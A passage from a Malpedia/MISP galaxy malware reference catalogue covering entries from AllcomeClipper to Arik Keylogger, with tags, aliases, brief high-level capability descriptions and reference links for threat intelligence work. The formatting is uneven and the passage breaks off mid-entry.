Allcome is classified as a clipper malware. Clippers are threats designed to access information saved in the clipboard (the temporary buffer space where copied data is stored) and substitute it with another. This attack is targeted at users who are active in the cryptocurrency sector mainly.

The tag is: `misp-galaxy:malpedia="AllcomeClipper"`

AllcomeClipper is also known as:

**Table 2430. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.allcomeclipper">malpedia.caad.fkie.fraunhofer.de</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://bazaar.abuse.ch/browse/signature/AllcomeClipper/">bazaar.abuse.ch</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2022/02/37239-allcome-clipbanker-is-a-newcomer-in-malware-underground-forums">www.gdatasoftware.com</a></td>
<td></td>
</tr>
</tbody>
</table>

Almanahe

The tag is: `misp-galaxy:malpedia="Almanahe"`

Almanahe is also known as:

**Table 2431. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.almanahe">malpedia.caad.fkie.fraunhofer.de</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/de/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process">www.elastic.co/de</a></td>
<td></td>
</tr>
</tbody>
</table>

Alma Communicator

The tag is: `misp-galaxy:malpedia="Alma Communicator"`

Alma Communicator is also known as:

**Table 2432. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator">malpedia.caad.fkie.fraunhofer.de</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/">unit42.paloaltonetworks.com</a></td>
<td></td>
</tr>
</tbody>
</table>
AlmaLocker

The tag is: `misp-galaxy:malpedia="AlmaLocker"`

AlmaLocker is also known as:

Table 2433. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.almaLocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.almaLocker</a></td>
</tr>
</tbody>
</table>

AlmondRAT

AlmondRAT is a .NET Remote Access Trojan deployed by the Bitter APT group. It is capable of collecting system information, modifying and exfiltrating data and allows for remote command execution.

The tag is: `misp-galaxy:malpedia="AlmondRAT"`

AlmondRAT is also known as:

Table 2434. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.almondrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.almondrat</a></td>
</tr>
</tbody>
</table>

ALPC Local PrivEsc

The tag is: `misp-galaxy:malpedia="ALPC Local PrivEsc"`

ALPC Local PrivEsc is also known as:

Table 2435. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe">https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe</a></td>
</tr>
</tbody>
</table>

Alphabet Ransomware

The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.

The virus includes a screenlocking function which locks the user's screen and prohibits any interaction with the computer.
Alphabet Ransomware is also known as:

### AlphaLocker

A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.

AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware’s author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.

AlphaLocker’s encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user’s computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.

To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.

### AlphaNC

The tag is: _misp-galaxy:malpedia="AlphaNC"_
AlphaNC is also known as:

Table 2438. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc">https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group">https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/nickel-gladstone">https://www.secureworks.com/research/threat-profiles/nickel-gladstone</a></td>
</tr>
</tbody>
</table>

**AlphaSeed**

The tag is: *misp-galaxy:malpedia=*AlphaSeed*

AlphaSeed is also known as:

Table 2439. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.alphaseed">https://malpedia.caad.fkie.fraunhofer.de/details/win.alphaseed</a></td>
</tr>
</tbody>
</table>

**Alreay**

Alreay is a remote access trojan that uses HTTP(S) or TCP for communication with its C&C server.

It uses either RC4 or DES for encryption of its configuration, which is stored in the registry.

It sends detailed information about the victim’s environment, like computer name, Windows version, system locale, and network configuration.

It supports almost 25 commands that include operations on the victim’s filesystem, basic process management, file exfiltration, command line execution, and process injection of an executable downloaded from the attacker’s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers, starting with values like 0x21A8B293, 0x23FAE29C or 0x91B93485.

It comes either as an EXE or as a DLL with the internal DLL name t_client_dll.dll. It may contain statically linked code from open-source libraries like Mbed TLS or zLib (version 1.0.1).

Alreay RAT was observed in 2016-2017, running on networks of banks operating SWIFT Alliance software.

The tag is: *misp-galaxy:malpedia=*Alreay*

Alreay is also known as:

Table 2440. Table References
Alureon

The tag is: `misp-galaxy:malpedia="Alureon"`

Alureon is also known as:

- Olmarik
- Pihar
- TDL
- TDSS
- wowlik

Amadey

Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called “tasks”) for all or specifically targeted computers compromised by the malware.
The tag is: **misp-galaxy:malpedia="Amadey"**

Amadey is also known as:

**Table 2442. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey">https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey</a></td>
</tr>
<tr>
<td><a href="https://www.anquanke.com/post/id/230116">https://www.anquanke.com/post/id/230116</a></td>
</tr>
<tr>
<td><a href="https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Amadey/amadey_string_decryptor.py">https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Amadey/amadey_string_decryptor.py</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/">https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/</a></td>
</tr>
<tr>
<td><a href="https://embee-research.ghost.io/amadey-bot-infrastructure/">https://embee-research.ghost.io/amadey-bot-infrastructure/</a></td>
</tr>
<tr>
<td><a href="https://embee-research.ghost.io/redline-stealer-basic-static-analysis-and-c2-extraction/">https://embee-research.ghost.io/redline-stealer-basic-static-analysis-and-c2-extraction/</a></td>
</tr>
<tr>
<td><a href="https://thecyberexpress.com/amadey-botnet-back-via-phishing-sites/">https://thecyberexpress.com/amadey-botnet-back-via-phishing-sites/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/0xffff0800/status/1062948406266642432">https://twitter.com/0xffff0800/status/1062948406266642432</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html">https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html</a></td>
</tr>
</tbody>
</table>
AMTsol

The tag is: `misp-galaxy:malpedia="AMTsol"`

AMTsol is also known as:

- Adupihan

Table 2443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol">https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol</a></td>
</tr>
<tr>
<td><a href="https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/">https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/</a></td>
</tr>
</tbody>
</table>
**Anatova Ransomware**

Anatova is a ransomware family with the goal of ciphering all the files that it can and then requesting payment from the victim. It will also check if network shares are connected and will encrypt the files on these shares too. The code is also prepared to support modular extensions.

The tag is: *misp-galaxy:malpedia*="Anatova Ransomware"

Anatova Ransomware is also known as:

*Table 2444. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom</a></td>
</tr>
</tbody>
</table>

**Anchor**

Anchor is a sophisticated backdoor served as a module to a subset of TrickBot installations. Operating since August 2018 it is not delivered to everybody, but contrary is delivered only to high-profile targets. Since its C2 communication scheme is very similar to the one implemented in the early TrickBot, multiple experts believe it could be attributed to the same authors.

The tag is: *misp-galaxy:malpedia*="Anchor"

Anchor is also known as:

*Table 2445. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor">https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607">https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607</a></td>
</tr>
<tr>
<td><a href="https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/">https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/</a></td>
</tr>
<tr>
<td><a href="https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/">https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/</a></td>
</tr>
<tr>
<td><a href="https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns">https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns</a></td>
</tr>
<tr>
<td><a href="https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns">https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html">https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html</a></td>
</tr>
</tbody>
</table>
AnchorMail

The tag is: misp-galaxy:malpedia="AnchorMail"

AnchorMail is also known as:

- ANCHOR.MAIL
- Delegatz

Table 2446. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormail">https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormail</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine">https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/">https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/</a></td>
</tr>
</tbody>
</table>

AnchorMTea

Recon/Loader malware attributed to Lazarus, disguised as Notepad++ shell extension.
The tag is: *misp-galaxy:malpedia=“AnchorMTea”*

AnchorMTea is also known as:

(*Table 2447. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://report.threatbook.cn/LS.pdf">http://report.threatbook.cn/LS.pdf</a></td>
</tr>
</tbody>
</table>

**Andardoor**

The tag is: *misp-galaxy:malpedia=“Andardoor”*

Andardoor is also known as:

- ROCKHATCH

(*Table 2448. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://asec.ahnlab.com/ko/56256/">https://asec.ahnlab.com/ko/56256/</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/47751/">https://asec.ahnlab.com/ko/47751/</a></td>
</tr>
</tbody>
</table>

**Andromeda**

The tag is: *misp-galaxy:malpedia=“Andromeda”*

Andromeda is also known as:

- B106-Gamarue
- B67-SS-Gamarue
- Gamarue
- b66

(*Table 2449. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
AndroMut

According to Proofpoint, AndroMut is a new downloader malware written in C++ that Proofpoint researchers began observing in the wild in June 2019. The “Andro” part of the name comes from some of the pieces which bear resemblance to another downloader malware known as Andromeda [1] and “Mut” is based off a mutex that the analyzed sample creates: “mutshellmy777”.

The tag is: *misp-galaxy:malpedia=“AndroMut”*

AndroMut is also known as:

- Gelup
**Table 2450. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut">https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/">https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
</tbody>
</table>

**Anel**

The tag is: *misp-galaxy:malpedia="Anel"

Anel is also known as:

- **UPPERCUT**
- **lena**

**Table 2451. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.anel">https://malpedia.caad.fkie.fraunhofer.de/details/win.anel</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-riverside">https://www.secureworks.com/research/threat-profiles/bronze-riverside</a></td>
</tr>
</tbody>
</table>
**AnteFrigus**

Ransomware that demands payment in Bitcoin.

The tag is: `misp-galaxy:malpedia="AnteFrigus"`

AnteFrigus is also known as:

Table 2452. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.antefrigus">https://malpedia.caad.fkie.fraunhofer.de/details/win.antefrigus</a></td>
</tr>
<tr>
<td><a href="https://github.com/albertzsigovits/malware-notes/blob/master/Antefrigus.md">https://github.com/albertzsigovits/malware-notes/blob/master/Antefrigus.md</a></td>
</tr>
</tbody>
</table>

**Antilam**

The tag is: `misp-galaxy:malpedia="Antilam"`

Antilam is also known as:

- Latinus

Table 2453. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam">https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam</a></td>
</tr>
</tbody>
</table>

**Anubis (Windows)**

According to Microsoft Security Intelligence, Anubis is an information stealer sold on underground forums since June 2020. The name overlaps with the Android banking malware but is unrelated. It contains code forked from Loki PWS.

The tag is: `misp-galaxy:malpedia="Anubis (Windows)"`

Anubis (Windows) is also known as:

- Anubis Stealer

Table 2454. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis">https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1298752223321546754">https://twitter.com/MsftSecIntel/status/1298752223321546754</a></td>
</tr>
</tbody>
</table>
**Anubis Loader**

A loader written in Go, tracked since at least October 2021 by ZeroFox. Originally named Kraken and rebranded to Anubis in February 2022.

The tag is: `misp-galaxy:malpedia="Anubis Loader"`

Anubis Loader is also known as:

- Kraken
- Pepega

*Table 2455. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis_loader</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e">https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e</a></td>
</tr>
<tr>
<td><a href="https://windowsreport.com/kraken-botnet/">https://windowsreport.com/kraken-botnet/</a></td>
</tr>
</tbody>
</table>

**APERETIF**

The tag is: `misp-galaxy:malpedia="APERETIF"`

APERETIF is also known as:

*Table 2456. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Apocalipto**

The tag is: `misp-galaxy:malpedia="Apocalipto"`

Apocalipto is also known as:

*Table 2457. Table References*
Apocalypse

The tag is: misp-galaxy:malpedia="Apocalypse"

Apocalypse is also known as:

Table 2458. Table References

Apollo

This is an implant usable with the Mythic C2 framework. Apollo is a Windows agent written in C# using the 4.0 .NET Framework designed to be used in SpecterOps training offerings.

The tag is: misp-galaxy:malpedia="Apollo"

Apollo is also known as:

Table 2459. Table References

Apostle

Malware used by suspected Iranian threat actor Agrius, turned from wiper into ransomware.

The tag is: misp-galaxy:malpedia="Apostle"

Apostle is also known as:

Table 2460. Table References
AppleJeus (Windows)

The tag is: misp-galaxy:malpedia="AppleJeus (Windows)"

AppleJeus (Windows) is also known as:

Table 2461. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-048a">https://us-cert.cisa.gov/ncas/alerts/aa21-048a</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1182730637016481793">https://twitter.com/VK_Intel/status/1182730637016481793</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html">https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e</a></td>
</tr>
<tr>
<td><a href="https://www.telsy.com/download/5394/?uid=28b0a4577e">https://www.telsy.com/download/5394/?uid=28b0a4577e</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023</a></td>
</tr>
</tbody>
</table>

Appleseed

The tag is: misp-galaxy:malpedia="Appleseed"
Appleseed is also known as:

- JamBog

Table 2462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed">https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed</a></td>
</tr>
<tr>
<td><a href="https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/">https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%E8%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf">https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%E8%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/36918/">https://asec.ahnlab.com/ko/36918/</a></td>
</tr>
<tr>
<td><a href="https://www.telsy.com/download/5654/?uid=4869868efd">https://www.telsy.com/download/5654/?uid=4869868efd</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/26705/">https://asec.ahnlab.com/ko/26705/</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/54804/">https://asec.ahnlab.com/ko/54804/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=rfzmHjZX70s">https://www.youtube.com/watch?v=rfzmHjZX70s</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Dv2_DK3tRgI">https://www.youtube.com/watch?v=Dv2_DK3tRgI</a></td>
</tr>
</tbody>
</table>

ArdaMax

According to f-secure, Ardamax is a commercial keylogger program that can be installed onto the system from the product's website. When run, the program can capture a range of user activities, such as keystrokes typed, instant messenger chat logs, web browser activity and even screenshots.
of the active desktop.

This program can be configured to a complete stealth mode, with password protection, to avoid user detection.

The information gathered is stored in an encrypted log file, which is only viewable using the built-in Log Viewer. The log file can be sent to an external party through e-mail, via a local area network (LAN) or by upload to an FTP server (in either HTML or encrypted format).

The tag is: *misp-galaxy:malpedia="ArdaMax"

ArdaMax is also known as:

**Table 2463. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax">https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@MalFuzzer/dissecting-ardamax-keylogger-f33f922d2576">https://medium.com/@MalFuzzer/dissecting-ardamax-keylogger-f33f922d2576</a></td>
</tr>
</tbody>
</table>

**Arefty**

The tag is: *misp-galaxy:malpedia="Arefty"

Arefty is also known as:

**Table 2464. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty">https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty</a></td>
</tr>
</tbody>
</table>

**Ares (Windows)**

A banking trojan, derived from the source code of win.kronos. In August 2022 it started to incorporate DGA code from win.qakbot.

The tag is: *misp-galaxy:malpedia="Ares (Windows)"

Ares (Windows) is also known as:

**Table 2465. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ares">https://malpedia.caad.fkie.fraunhofer.de/details/win.ares</a></td>
</tr>
</tbody>
</table>
AresLoader

AresLoader is a new malware "downloader" that has been advertised on some Russian language Dark Web forums “RAMP and "XSS" by a threat actor called "DarkBLUP". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed “Project Ares,” was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer “CerberSec.”

The loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:

1. Written in C/C++
2. Supports 64-bit payloads
3. Makes it look like malware spawned by another process
4. Prevents non-Microsoft signed binaries from being injected into malware
5. Hides suspicious imported Windows APIs
6. Leverages anti-analysis techniques to avoid reverse engineering

Furthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.

The tag is: misp-galaxy:malpedia="AresLoader"

AresLoader is also known as:

Table 2466. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://flashpoint.io/blog/private-malware-for-sale-aresloader/">https://flashpoint.io/blog/private-malware-for-sale-aresloader/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/k3dg3/status/1636873721200746496">https://twitter.com/k3dg3/status/1636873721200746496</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/ares/aresloader/loader/2023/04/02/aresloader.html">https://research.openanalysis.net/ares/aresloader/loader/2023/04/02/aresloader.html</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/new-loader-on-the-bloc-aresloader">https://intel471.com/blog/new-loader-on-the-bloc-aresloader</a></td>
</tr>
</tbody>
</table>

ArguePatch

During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called "ArguePatch" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray's Remote Debugger Server (win32_remote.exe). ArguePatch expects a decryption key and the file of the CaddyWiper shellcode as command line parameters.

The tag is: misp-galaxy:malpedia="ArguePatch"
ArguePatch is also known as:

Table 2467. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.arguepatch">https://malpedia.caad.fkie.fraunhofer.de/details/win.arguepatch</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/gru-rise-telegram-minions">https://www.mandiant.com/resources/blog/gru-rise-telegram-minions</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/">https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/</a></td>
</tr>
</tbody>
</table>

**Aria-body**

The tag is: `misp-galaxy:malpedia="Aria-body"`

Aria-body is also known as:

Table 2468. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody">https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody</a></td>
</tr>
<tr>
<td><a href="https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1">https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/naikons-aria/96899/">https://securelist.com/naikons-aria/96899/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/it-threat-evolution-q2-2020/98230">https://securelist.com/it-threat-evolution-q2-2020/98230</a></td>
</tr>
</tbody>
</table>

**Arid Gopher**

This malware is a Go written variant of Micropsia and according to DeepInstinct it is still in development.

The tag is: `misp-galaxy:malpedia="Arid Gopher"`

Arid Gopher is also known as:

Table 2469. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher">https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher</a></td>
</tr>
<tr>
<td><a href="https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/">https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant">https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant</a></td>
</tr>
</tbody>
</table>
**AridHelper**

Helper malware associated with AridGopher, which will provide an alternative persistence mechanism in case "360 total security" is found on a target system.

The tag is: `misp-galaxy:malpedia="AridHelper"`

AridHelper is also known as:

- **Table 2470. Table References**
  - | Links |
  - | [https://malpedia.caad.fkie.fraunhofer.de/details/win.aridhelper](https://malpedia.caad.fkie.fraunhofer.de/details/win.aridhelper) |

**Arik Keylogger**

The tag is: `misp-galaxy:malpedia="Arik Keylogger"`

Arik Keylogger is also known as:

